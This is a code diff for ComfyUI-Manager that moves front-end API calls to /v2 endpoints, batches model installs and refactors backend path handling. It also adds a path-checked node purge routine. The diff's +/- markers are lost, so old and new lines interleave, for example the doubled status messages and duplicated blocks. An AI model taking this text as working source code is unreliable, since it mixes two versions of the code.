// loop abort the completion finalization below — that was the observed
// failure mode for disable/enable (no toast, no "restart required"
// message).
try {
for (let k in targets) {
let item = targets[k];
if (item) {
self.grid.updateCell(item, "action");
}
}
} catch (e) {
console.warn("[ComfyUI-Manager] Failed to refresh target cells after queue completion:", e);
for(let k in self.install_context.targets) {
let item = self.install_context.targets[k];
self.grid.updateCell(item, "action");
}
if (errorMsg) {
self.showError(errorMsg);
show_message("Installation Error:\n" + errorMsg);
show_message("Installation Error:\n"+errorMsg);
} else {
self.showStatus(`${label} ${Object.keys(result).length} custom node(s) successfully`);
self.showStatus(`${label} ${result.length} custom node(s) successfully`);
}
self.showRestart();
@@ -1753,7 +1767,7 @@ export class CustomNodesManager {
async getMissingNodesLegacy(hashMap, missing_nodes) {
const mode = manager_instance.datasrc_combo.value;
this.showStatus(`Loading missing nodes (${mode}) ...`);
const res = await fetchData(`/customnode/getmappings?mode=${mode}`);
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
if (res.error) {
this.showError(`Failed to get custom node mappings: ${res.error}`);
return;
@@ -1852,10 +1866,7 @@ export class CustomNodesManager {
for(let k in allUsedNodes) {
var item;
if(allUsedNodes[k].properties.cnr_id) {
const foundPackage = findPackageByCnrId(allUsedNodes[k].properties.cnr_id, this.custom_nodes, false);
if (foundPackage) {
item = foundPackage.pack;
}
item = this.custom_nodes[allUsedNodes[k].properties.cnr_id];
}
else if(allUsedNodes[k].properties.aux_id) {
item = aux_id_to_pack[allUsedNodes[k].properties.aux_id];
@@ -1871,7 +1882,7 @@ export class CustomNodesManager {
async getAlternatives() {
const mode = manager_instance.datasrc_combo.value;
this.showStatus(`Loading alternatives (${mode}) ...`);
const res = await fetchData(`/customnode/alternatives?mode=${mode}`);
const res = await fetchData(`/v2/customnode/alternatives?mode=${mode}`);
if (res.error) {
this.showError(`Failed to get alternatives: ${res.error}`);
return [];
@@ -1902,48 +1913,6 @@ export class CustomNodesManager {
return hashMap;
}
async getUsedInAnyWorkflow() {
this.showStatus(`Loading workflow usage analysis ...`);
const result = await analyzeWorkflowUsage(this.custom_nodes);
if (!result.success) {
this.showError(`Failed to get workflow data: ${result.error}`);
return {};
}
const hashMap = {};
// Convert usage map keys to hash map
result.usageMap.forEach((count, packageKey) => {
const pack = this.custom_nodes[packageKey];
if (pack && pack.hash) {
hashMap[pack.hash] = true;
}
});
return hashMap;
}
async getNotUsedInAnyWorkflow() {
this.showStatus(`Loading workflow usage analysis ...`);
// Get the used packages first using common utility
const usedHashMap = await this.getUsedInAnyWorkflow();
const notUsedHashMap = {};
// Find all installed packages that are NOT in the used list
for(let k in this.custom_nodes) {
let nodepack = this.custom_nodes[k];
// Only consider installed packages
if (nodepack.state !== "not-installed" && !usedHashMap[nodepack.hash]) {
notUsedHashMap[nodepack.hash] = true;
}
}
return notUsedHashMap;
}
async loadData(show_mode = ShowMode.NORMAL) {
const isElectron = 'electronAPI' in window;
@@ -1961,7 +1930,7 @@ export class CustomNodesManager {
infoToast('Fetching updated information. This may take some time if many custom nodes are installed.');
}
const res = await fetchData(`/customnode/getlist?mode=${mode}${skip_update}`);
const res = await fetchData(`/v2/customnode/getlist?mode=${mode}${skip_update}`);
if (res.error) {
this.showError("Failed to get custom node list.");
this.hideLoading();
@@ -2013,10 +1982,6 @@ export class CustomNodesManager {
hashMap = await this.getFavorites();
} else if(this.show_mode == ShowMode.IN_WORKFLOW) {
hashMap = await this.getNodepackInWorkflow();
} else if(this.show_mode == ShowMode.USED_IN_ANY_WORKFLOW) {
hashMap = await this.getUsedInAnyWorkflow();
} else if(this.show_mode == ShowMode.NOT_USED_IN_ANY_WORKFLOW) {
hashMap = await this.getNotUsedInAnyWorkflow();
}
filterItem.hashMap = hashMap;
@@ -1,9 +1,9 @@
import { app } from "../../scripts/app.js";
import { $el } from "../../scripts/ui.js";
import {
manager_instance, rebootAPI,
import {
manager_instance, rebootAPI,
fetchData, md5, icons, show_message, customAlert, infoToast, showTerminal,
storeColumnWidth, restoreColumnWidth, loadCss, formatSize, sizeToBytes
storeColumnWidth, restoreColumnWidth, loadCss, generateUUID
} from "./common.js";
import { api } from "../../scripts/api.js";
@@ -170,7 +170,7 @@ export class ModelManager {
".cmm-manager-stop": {
click: () => {
api.fetchApi('/manager/queue/reset', { method: 'POST' });
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
},
@@ -359,7 +359,7 @@ export class ModelManager {
width: 100,
formatter: (size) => {
if (typeof size === "number") {
return formatSize(size);
return this.formatSize(size);
}
return size;
}
@@ -430,24 +430,16 @@ export class ModelManager {
}
async installModels(list, btn) {
let stats = await api.fetchApi('/manager/queue/status');
stats = await stats.json();
if(stats.is_processing) {
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
return;
}
btn.classList.add("cmm-btn-loading");
this.showError("");
let needRefresh = false;
let errorMsg = "";
await api.fetchApi('/manager/queue/reset', { method: 'POST' });
let target_items = [];
let batch = {};
for (const item of list) {
this.grid.scrollRowIntoView(item);
target_items.push(item);
@@ -463,30 +455,12 @@ export class ModelManager {
const data = item.originalData;
data.ui_id = item.hash;
const res = await api.fetchApi(`/manager/queue/install_model`, {
method: 'POST',
body: JSON.stringify(data)
});
if (res.status != 200) {
errorMsg = `'${item.name}': `;
if(res.status == 403) {
try {
const data = await res.json();
if(data.error === 'comfyui_outdated') {
errorMsg += `ComfyUI version is outdated. Please update ComfyUI to use Manager normally.\n`;
} else {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} catch {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} else {
errorMsg += await res.text() + '\n';
}
break;
if(batch['install_model']) {
batch['install_model'].push(data);
}
else {
batch['install_model'] = [data];
}
}
@@ -503,7 +477,24 @@ export class ModelManager {
}
}
else {
await api.fetchApi('/manager/queue/start', { method: 'POST' });
this.batch_id = generateUUID();
batch['batch_id'] = this.batch_id;
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
let failed = await res.json();
if(failed.length > 0) {
for(let k in failed) {
let hash = failed[k];
const item = self.grid.getRowItemBy("hash", hash);
errorMsg = `[FAIL] ${item.title}`;
}
}
this.showStop();
showTerminal();
}
@@ -523,7 +514,7 @@ export class ModelManager {
// self.grid.updateCell(item, "tg-column-select");
self.grid.updateRow(item);
}
else if(event.detail.status == 'done') {
else if(event.detail.status == 'batch-done') {
self.hideStop();
self.onQueueCompleted(event.detail);
}
@@ -582,7 +573,7 @@ export class ModelManager {
models.forEach((item, i) => {
const { type, base, name, reference, installed } = item;
item.originalData = JSON.parse(JSON.stringify(item));
item.size = sizeToBytes(item.size);
item.size = this.sizeToBytes(item.size);
item.hash = md5(name + reference);
item.id = i + 1;
@@ -649,7 +640,7 @@ export class ModelManager {
const mode = manager_instance.datasrc_combo.value;
const res = await fetchData(`/externalmodel/getlist?mode=${mode}`);
const res = await fetchData(`/v2/externalmodel/getlist?mode=${mode}`);
if (res.error) {
this.showError("Failed to get external model list.");
this.hideLoading();
@@ -659,6 +650,7 @@ export class ModelManager {
const { models } = res.data;
this.modelList = this.getModelList(models);
// console.log("models", this.modelList);
this.updateFilter();
@@ -670,6 +662,56 @@ export class ModelManager {
// ===========================================================================================
formatSize(v) {
const base = 1000;
const units = ['', 'K', 'M', 'G', 'T', 'P'];
const space = '';
const postfix = 'B';
if (v <= 0) {
return `0${space}${postfix}`;
}
for (let i = 0, l = units.length; i < l; i++) {
const min = Math.pow(base, i);
const max = Math.pow(base, i + 1);
if (v > min && v <= max) {
const unit = units[i];
if (unit) {
const n = v / min;
const nl = n.toString().split('.')[0].length;
const fl = Math.max(3 - nl, 1);
v = n.toFixed(fl);
}
v = v + space + unit + postfix;
break;
}
}
return v;
}
// for size sort
sizeToBytes(v) {
if (typeof v === "number") {
return v;
}
if (typeof v === "string") {
const n = parseFloat(v);
const unit = v.replace(/[0-9.B]+/g, "").trim().toUpperCase();
if (unit === "K") {
return n * 1000;
}
if (unit === "M") {
return n * 1000 * 1000;
}
if (unit === "G") {
return n * 1000 * 1000 * 1000;
}
if (unit === "T") {
return n * 1000 * 1000 * 1000 * 1000;
}
}
return v;
}
showSelection(msg) {
this.element.querySelector(".cmm-manager-selection").innerHTML = msg;
}
@@ -142,7 +142,7 @@ function node_info_copy(src, dest, connect_both, copy_shape) {
}
app.registerExtension({
name: "Comfy.Manager.NodeFixer",
name: "Comfy.Legacy.Manager.NodeFixer",
beforeRegisterNodeDef(nodeType, nodeData, app) {
addMenuHandler(nodeType, function (_, options) {
options.push({
@@ -1,7 +1,7 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { ComfyDialog, $el } from "../../scripts/ui.js";
import { manager_instance, rebootAPI, show_message, handle403Response, loadCss } from "./common.js";
import { manager_instance, rebootAPI, show_message, loadCss } from "./common.js";
import { buildGuiFrame } from "./comfyui-gui-builder.js";
loadCss("./snapshot.css");
@@ -9,10 +9,10 @@ loadCss("./snapshot.css");
async function restore_snapshot(target) {
if(SnapshotManager.instance) {
try {
const response = await api.fetchApi('/snapshot/restore', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ target: target }), cache: "no-store" });
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { method: 'POST', cache: "no-store" });
if(response.status == 403) {
await handle403Response(response);
show_message('This action is not allowed with this security level configuration.');
return false;
}
@@ -37,10 +37,10 @@ async function restore_snapshot(target) {
async function remove_snapshot(target) {
if(SnapshotManager.instance) {
try {
const response = await api.fetchApi('/snapshot/remove', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ target: target }), cache: "no-store" });
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { method: 'POST', cache: "no-store" });
if(response.status == 403) {
await handle403Response(response);
show_message('This action is not allowed with this security level configuration.');
return false;
}
@@ -63,7 +63,7 @@ async function remove_snapshot(target) {
async function save_current_snapshot() {
try {
const response = await api.fetchApi('/snapshot/save', { method: 'POST', cache: "no-store" });
const response = await api.fetchApi('/v2/snapshot/save', { method: 'POST', cache: "no-store" });
app.ui.dialog.close();
return true;
}
@@ -78,7 +78,7 @@ async function save_current_snapshot() {
}
async function getSnapshotList() {
const response = await api.fetchApi(`/snapshot/getlist`);
const response = await api.fetchApi(`/v2/snapshot/getlist`);
const data = await response.json();
return data;
}
@@ -158,8 +158,8 @@ export class SnapshotManager extends ComfyDialog {
if(btn_id) {
const rebootButton = document.getElementById(btn_id);
const self = this;
rebootButton.onclick = async function() {
if(await rebootAPI()) {
rebootButton.onclick = function() {
if(rebootAPI()) {
self.close();
self.manager_dialog.close();
}
@@ -38,7 +38,7 @@ class WorkflowMetadataExtension {
* enabled is true if the node is enabled, false if it is disabled
*/
async getInstalledNodes() {
const res = await api.fetchApi("/customnode/installed");
const res = await api.fetchApi("/v2/customnode/installed");
return await res.json();
}
View File
@@ -15,6 +15,7 @@ import platform
from datetime import datetime
import git
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
from git.remote import RemoteProgress
from urllib.parse import urlparse
from tqdm.auto import tqdm
@@ -23,7 +24,6 @@ import yaml
import zipfile
import traceback
from concurrent.futures import ThreadPoolExecutor, as_completed
import toml
orig_print = print
@@ -32,24 +32,30 @@ from packaging import version
import uuid
glob_path = os.path.join(os.path.dirname(__file__)) # ComfyUI-Manager/glob
sys.path.append(glob_path)
import cm_global
import cnr_utils
import manager_util
import git_utils
import manager_downloader
import manager_migration
from node_package import InstalledNodePackage
from ..common import cm_global
from ..common import cnr_utils
from ..common import manager_util
from ..common import git_utils
from ..common import manager_downloader
from ..common.node_package import InstalledNodePackage
from ..common.enums import NetworkMode, SecurityLevel, DBMode
from ..common import context
version_code = [3, 41]
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
try:
from importlib.metadata import version as _pkg_version
_raw_version = _pkg_version("comfyui-manager")
except Exception:
_raw_version = "unknown"
version_str = f"V{_raw_version}"
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
default_custom_nodes_path = None
@@ -59,13 +65,14 @@ class InvalidChannel(Exception):
self.channel = channel
super().__init__(channel)
def get_default_custom_nodes_path():
global default_custom_nodes_path
if default_custom_nodes_path is None:
try:
import folder_paths
default_custom_nodes_path = folder_paths.get_folder_paths("custom_nodes")[0]
except:
except Exception:
default_custom_nodes_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..'))
return default_custom_nodes_path
@@ -75,37 +82,11 @@ def get_custom_nodes_paths():
try:
import folder_paths
return folder_paths.get_folder_paths("custom_nodes")
except:
except Exception:
custom_nodes_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..'))
return [custom_nodes_path]
def get_comfyui_tag():
try:
repo = git.Repo(comfy_path)
return repo.git.describe('--tags')
except:
return None
def get_current_comfyui_ver():
"""
Extract version from pyproject.toml
"""
toml_path = os.path.join(comfy_path, 'pyproject.toml')
if not os.path.exists(toml_path):
return None
else:
try:
with open(toml_path, "r", encoding="utf-8") as f:
data = toml.load(f)
project = data.get('project', {})
return project.get('version')
except:
return None
def get_script_env():
new_env = os.environ.copy()
git_exe = get_config().get('git_exe')
@@ -113,10 +94,10 @@ def get_script_env():
new_env['GIT_EXE_PATH'] = git_exe
if 'COMFYUI_PATH' not in new_env:
new_env['COMFYUI_PATH'] = comfy_path
new_env['COMFYUI_PATH'] = context.comfy_path
if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
new_env['COMFYUI_FOLDERS_BASE_PATH'] = comfy_path
new_env['COMFYUI_FOLDERS_BASE_PATH'] = context.comfy_path
return new_env
@@ -138,12 +119,12 @@ def check_invalid_nodes():
try:
import folder_paths
except:
except Exception:
try:
sys.path.append(comfy_path)
sys.path.append(context.comfy_path)
import folder_paths
except:
raise Exception(f"Invalid COMFYUI_FOLDERS_BASE_PATH: {comfy_path}")
except Exception:
raise Exception(f"Invalid COMFYUI_FOLDERS_BASE_PATH: {context.comfy_path}")
def check(root):
global invalid_nodes
@@ -178,76 +159,6 @@ def check_invalid_nodes():
print("\n---------------------------------------------------------------------------\n")
# read env vars
comfy_path: str = os.environ.get('COMFYUI_PATH')
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
if comfy_path is None:
try:
import folder_paths
comfy_path = os.path.join(os.path.dirname(folder_paths.__file__))
except:
comfy_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..', '..'))
if comfy_base_path is None:
comfy_base_path = comfy_path
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
git_script_path = os.path.join(manager_util.comfyui_manager_path, "git_helper.py")
manager_files_path = None
manager_config_path = None
manager_channel_list_path = None
manager_startup_script_path:str = None
manager_snapshot_path = None
manager_pip_overrides_path = None
manager_pip_blacklist_path = None
manager_components_path = None
def update_user_directory(user_dir):
global manager_files_path
global manager_config_path
global manager_channel_list_path
global manager_startup_script_path
global manager_snapshot_path
global manager_pip_overrides_path
global manager_pip_blacklist_path
global manager_components_path
manager_files_path = manager_migration.get_manager_path(user_dir)
if not os.path.exists(manager_files_path):
os.makedirs(manager_files_path)
manager_migration.run_migration_checks(user_dir, manager_files_path)
manager_snapshot_path = os.path.join(manager_files_path, "snapshots")
if not os.path.exists(manager_snapshot_path):
os.makedirs(manager_snapshot_path)
manager_startup_script_path = os.path.join(manager_files_path, "startup-scripts")
if not os.path.exists(manager_startup_script_path):
os.makedirs(manager_startup_script_path)
manager_config_path = os.path.join(manager_files_path, 'config.ini')
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
manager_components_path = os.path.join(manager_files_path, "components")
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
if not os.path.exists(manager_util.cache_dir):
os.makedirs(manager_util.cache_dir)
try:
import folder_paths
update_user_directory(folder_paths.get_user_directory())
except Exception:
# fallback:
# This case is only possible when running with cm-cli, and in practice, this case is not actually used.
update_user_directory(os.path.abspath(manager_util.comfyui_manager_path))
cached_config = None
js_path = None
@@ -258,7 +169,7 @@ comfy_ui_revision = "Unknown"
comfy_ui_commit_datetime = datetime(1900, 1, 1, 0, 0, 0)
channel_dict = None
valid_channels = {'default', 'local'}
valid_channels = {'default', 'local', DEFAULT_CHANNEL, DEFAULT_CHANNEL_LEGACY}
channel_list = None
@@ -623,7 +534,7 @@ class UnifiedManager:
ver = str(manager_util.StrictVersion(info['version']))
return {'id': cnr['id'], 'cnr': cnr, 'ver': ver}
else:
return None
return {'id': info['id'], 'ver': info['version']}
else:
return None
@@ -799,7 +710,9 @@ class UnifiedManager:
return latest
async def reload(self, cache_mode, dont_wait=True):
async def reload(self, cache_mode, dont_wait=True, update_cnr_map=True):
import folder_paths
self.custom_node_map_cache = {}
self.cnr_inactive_nodes = {} # node_id -> node_version -> fullpath
self.nightly_inactive_nodes = {} # node_id -> fullpath
@@ -807,17 +720,18 @@ class UnifiedManager:
self.unknown_active_nodes = {} # node_id -> repo url * fullpath
self.active_nodes = {} # node_id -> node_version * fullpath
if get_config()['network_mode'] != 'public':
if get_config()['network_mode'] != 'public' or manager_util.is_manager_pip_package():
dont_wait = True
# reload 'cnr_map' and 'repo_cnr_map'
cnrs = await cnr_utils.get_cnr_data(cache_mode=cache_mode=='cache', dont_wait=dont_wait)
if update_cnr_map:
# reload 'cnr_map' and 'repo_cnr_map'
cnrs = await cnr_utils.get_cnr_data(cache_mode=cache_mode=='cache', dont_wait=dont_wait)
for x in cnrs:
self.cnr_map[x['id']] = x
if 'repository' in x:
normalized_url = git_utils.normalize_url(x['repository'])
self.repo_cnr_map[normalized_url] = x
for x in cnrs:
self.cnr_map[x['id']] = x
if 'repository' in x:
normalized_url = git_utils.normalize_url(x['repository'])
self.repo_cnr_map[normalized_url] = x
# reload node status info from custom_nodes/*
for custom_nodes_path in folder_paths.get_folder_paths('custom_nodes'):
@@ -865,7 +779,7 @@ class UnifiedManager:
if 'id' in x:
if x['id'] not in res:
res[x['id']] = (x, True)
except:
except Exception:
logging.error(f"[ComfyUI-Manager] broken item:{x}")
return res
@@ -918,7 +832,7 @@ class UnifiedManager:
def safe_version(ver_str):
try:
return version.parse(ver_str)
except:
except Exception:
return version.parse("0.0.0")
def execute_install_script(self, url, repo_path, instant_execution=False, lazy_mode=False, no_deps=False):
@@ -932,15 +846,14 @@ class UnifiedManager:
else:
if os.path.exists(requirements_path) and not no_deps:
print("Install: pip packages")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
lines = manager_util.robust_readlines(requirements_path)
for line in lines:
package_name = remap_pip_package(line.strip())
if package_name and not package_name.startswith('#') and package_name not in self.processed_install:
self.processed_install.add(package_name)
clean_package_name = package_name.split('#')[0].strip()
install_cmd = manager_util.make_pip_cmd(["install", clean_package_name])
if clean_package_name != "" and not clean_package_name.startswith('#'):
install_cmd = manager_util.make_pip_cmd(["install", package_name])
if package_name.strip() != "" and not package_name.startswith('#'):
res = res and try_install_script(url, repo_path, install_cmd, instant_execution=instant_execution)
pip_fixer.fix_broken()
@@ -954,7 +867,7 @@ class UnifiedManager:
return res
def reserve_cnr_switch(self, target, zip_url, from_path, to_path, no_deps):
script_path = os.path.join(manager_startup_script_path, "install-scripts.txt")
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
with open(script_path, "a") as file:
obj = [target, "#LAZY-CNR-SWITCH-SCRIPT", zip_url, from_path, to_path, no_deps, get_default_custom_nodes_path(), sys.executable]
file.write(f"{obj}\n")
@@ -1227,6 +1140,71 @@ class UnifiedManager:
return result
def purge_node_state(self, node_id: str):
"""
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
Used by reinstall to guarantee clean state before re-installation.
"""
if 'comfyui-manager' in node_id.lower():
return
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
paths_to_remove = set()
def _add_path(raw_path):
"""Normalize and validate a path before adding to removal set."""
if not raw_path:
return
resolved = os.path.normcase(os.path.realpath(raw_path))
if resolved == custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
return
try:
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
return
except ValueError:
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
return
paths_to_remove.add(resolved)
# Collect paths from all dictionaries
entry = self.unknown_active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.unknown_inactive_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
fullpath = self.nightly_inactive_nodes.get(node_id)
if fullpath is not None:
_add_path(fullpath)
ver_map = self.cnr_inactive_nodes.get(node_id)
if ver_map is not None:
for key, fp in ver_map.items():
_add_path(fp)
# Convention-based fallback path
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
# Remove all validated paths, then always clean dictionaries
try:
for path in paths_to_remove:
if os.path.exists(path):
try_rmtree(node_id, path)
finally:
self.unknown_active_nodes.pop(node_id, None)
self.active_nodes.pop(node_id, None)
self.unknown_inactive_nodes.pop(node_id, None)
self.nightly_inactive_nodes.pop(node_id, None)
self.cnr_inactive_nodes.pop(node_id, None)
def unified_uninstall(self, node_id: str, is_unknown: bool):
"""
Remove whole installed custom nodes including inactive nodes
@@ -1360,7 +1338,7 @@ class UnifiedManager:
print(f"Download: git clone '{clone_url}'")
if not instant_execution and platform.system() == 'Windows':
res = manager_funcs.run_script([sys.executable, git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
res = manager_funcs.run_script([sys.executable, context.git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
if res != 0:
return result.fail(f"Failed to clone repo: {clone_url}")
else:
@@ -1503,8 +1481,18 @@ class UnifiedManager:
else: # nightly
repo_url = the_node['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
# Fallback for nightly only: use repository URL from CNR map
# when node is registered in CNR but absent from nightly manifest
if version_spec == 'nightly':
cnr_fallback = self.cnr_map.get(node_id)
if cnr_fallback is not None and cnr_fallback.get('repository'):
repo_url = cnr_fallback['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
if self.is_enabled(node_id, version_spec):
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
@@ -1513,12 +1501,20 @@ class UnifiedManager:
return self.unified_enable(node_id, version_spec)
elif version_spec == 'unknown' or version_spec == 'nightly':
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
if version_spec == 'nightly':
# disable cnr nodes
if self.is_enabled(node_id, 'cnr'):
self.unified_disable(node_id, False)
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
# use `repo name` as a dir name instead of `cnr id` if system added nodepack (i.e. publisher is null)
cnr = self.cnr_map.get(node_id)
if cnr is not None and cnr.get('publisher') is None:
repo_name = os.path.basename(git_utils.normalize_url(repo_url))
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), repo_name))
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
if res.result:
if version_spec == 'unknown':
@@ -1579,7 +1575,7 @@ def identify_node_pack_from_path(fullpath):
if github_id is None:
try:
github_id = os.path.basename(repo_url)
except:
except Exception:
logging.warning(f"[ComfyUI-Manager] unexpected repo url: {repo_url}")
github_id = module_name
@@ -1634,10 +1630,10 @@ def get_channel_dict():
if channel_dict is None:
channel_dict = {}
if not os.path.exists(manager_channel_list_path):
shutil.copy(channel_list_template_path, manager_channel_list_path)
if not os.path.exists(context.manager_channel_list_path):
shutil.copy(context.channel_list_template_path, context.manager_channel_list_path)
with open(manager_channel_list_path, 'r') as file:
with open(context.manager_channel_list_path, 'r') as file:
channels = file.read()
for x in channels.split('\n'):
channel_info = x.split("::")
@@ -1663,9 +1659,6 @@ class ManagerFuncs:
def __init__(self):
pass
def get_current_preview_method(self):
return "none"
def run_script(self, cmd, cwd='.'):
if len(cmd) > 0 and cmd[0].startswith("#"):
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -1683,14 +1676,12 @@ def write_config():
config = configparser.ConfigParser(strict=False)
config['default'] = {
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': get_config()['git_exe'],
'use_uv': get_config()['use_uv'],
'channel_url': get_config()['channel_url'],
'share_option': get_config()['share_option'],
'bypass_ssl': get_config()['bypass_ssl'],
"file_logging": get_config()['file_logging'],
'component_policy': get_config()['component_policy'],
'update_policy': get_config()['update_policy'],
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
'model_download_by_agent': get_config()['model_download_by_agent'],
@@ -1708,18 +1699,18 @@ def write_config():
if isinstance(value, str):
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
directory = os.path.dirname(manager_config_path)
directory = os.path.dirname(context.manager_config_path)
if not os.path.exists(directory):
os.makedirs(directory)
with open(manager_config_path, 'w') as configfile:
with open(context.manager_config_path, 'w') as configfile:
config.write(configfile)
def read_config():
try:
config = configparser.ConfigParser(strict=False)
config.read(manager_config_path)
config.read(context.manager_config_path)
default_conf = config['default']
def get_bool(key, default_value):
@@ -1728,61 +1719,51 @@ def read_config():
manager_util.use_uv = default_conf['use_uv'].lower() == 'true' if 'use_uv' in default_conf else False
manager_util.bypass_ssl = get_bool('bypass_ssl', False)
result = {
return {
'http_channel_enabled': get_bool('http_channel_enabled', False),
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
'git_exe': default_conf.get('git_exe', ''),
'use_uv': get_bool('use_uv', False),
'use_uv': get_bool('use_uv', True),
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
'default_cache_as_channel_url': get_bool('default_cache_as_channel_url', False),
'share_option': default_conf.get('share_option', 'all').lower(),
'bypass_ssl': get_bool('bypass_ssl', False),
'file_logging': get_bool('file_logging', True),
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
'model_download_by_agent': get_bool('model_download_by_agent', False),
'downgrade_blacklist': default_conf.get('downgrade_blacklist', '').lower(),
'always_lazy_install': get_bool('always_lazy_install', False),
'network_mode': default_conf.get('network_mode', 'public').lower(),
'security_level': default_conf.get('security_level', 'normal').lower(),
'db_mode': default_conf.get('db_mode', 'cache').lower(),
'network_mode': default_conf.get('network_mode', NetworkMode.PUBLIC.value).lower(),
'security_level': default_conf.get('security_level', SecurityLevel.NORMAL.value).lower(),
'db_mode': default_conf.get('db_mode', DBMode.CACHE.value).lower(),
'allow_git_url_install': get_bool('allow_git_url_install', False),
'allow_pip_install': get_bool('allow_pip_install', False),
}
manager_migration.force_security_level_if_needed(result)
return result
except Exception:
import importlib.util
# temporary disable `uv` on Windows by default (https://github.com/Comfy-Org/ComfyUI-Manager/issues/1969)
manager_util.use_uv = importlib.util.find_spec("uv") is not None and platform.system() != "Windows"
manager_util.use_uv = False
manager_util.bypass_ssl = False
result = {
return {
'http_channel_enabled': False,
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': '',
'use_uv': manager_util.use_uv,
'use_uv': True,
'channel_url': DEFAULT_CHANNEL,
'default_cache_as_channel_url': False,
'share_option': 'all',
'bypass_ssl': manager_util.bypass_ssl,
'file_logging': True,
'component_policy': 'workflow',
'update_policy': 'stable-comfyui',
'windows_selector_event_loop_policy': False,
'model_download_by_agent': False,
'downgrade_blacklist': '',
'always_lazy_install': False,
'network_mode': 'public', # public | private | offline
'security_level': 'normal', # strong | normal | normal- | weak
'db_mode': 'cache', # local | cache | remote
'network_mode': NetworkMode.PUBLIC.value,
'security_level': SecurityLevel.NORMAL.value,
'db_mode': DBMode.CACHE.value,
'allow_git_url_install': False,
'allow_pip_install': False,
}
manager_migration.force_security_level_if_needed(result)
return result
def get_config():
@@ -1825,27 +1806,27 @@ def switch_to_default_branch(repo):
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
repo.git.checkout(default_branch)
return True
except:
except Exception:
# try checkout master
# try checkout main if failed
try:
repo.git.checkout(repo.heads.master)
return True
except:
except Exception:
try:
if remote_name is not None:
repo.git.checkout('-b', 'master', f'{remote_name}/master')
return True
except:
except Exception:
try:
repo.git.checkout(repo.heads.main)
return True
except:
except Exception:
try:
if remote_name is not None:
repo.git.checkout('-b', 'main', f'{remote_name}/main')
return True
except:
except Exception:
